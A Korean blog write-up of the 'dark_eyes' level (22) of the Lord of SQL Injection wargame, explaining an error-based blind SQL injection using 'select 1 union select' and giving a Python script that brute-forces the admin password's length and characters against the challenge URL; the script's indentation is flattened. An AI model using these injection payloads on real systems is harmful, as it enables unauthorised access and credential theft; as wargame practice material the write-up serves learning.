본문 바로가기

Write-Up/LOS (lord of sql injection)

[Lord of SQL Injection] 22번 dark_eyes

바로 전 iron_golem의 문제와 비슷하지만 여기서 if가 필터링 되어있다. 또한 error를 발생했을때 출력되는 값은 없다.

다른 방법으로 접근해서 error를 내야겠다.

 

select 1 union select 1은 참

select 1 union select 2 은 거짓

이걸 이용해서 pw 길이와 pw값을 알아내자

import requests
cookies= {'PHPSESSID':'5029udlls5r1m3m52n0crur5rh'}
url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?'
pw = ''
#pw길이 구하기
for i in range(1,99):
payload = "pw=' or id='admin' and (select 1 union select (length(pw)={}))%23".format(i)
new_url = url+payload
res = requests.get(new_url, cookies=cookies)
res.raise_for_status()
if "query" in res.text:
length = i
print("length: "+str(length))
break
# pw 구하기
for i in range(1,length+1):
for j in range(33,127):
payload = "pw='||id='admin' and (select 1 union select ord(substr(pw,{},1))={})%23".format(i,j)
new_url = url+payload
res = requests.get(new_url, cookies=cookies)
res.raise_for_status()
if "query" in res.text:
pw += chr(j)
print("pw: "+pw)
break
print ("pw : "+pw)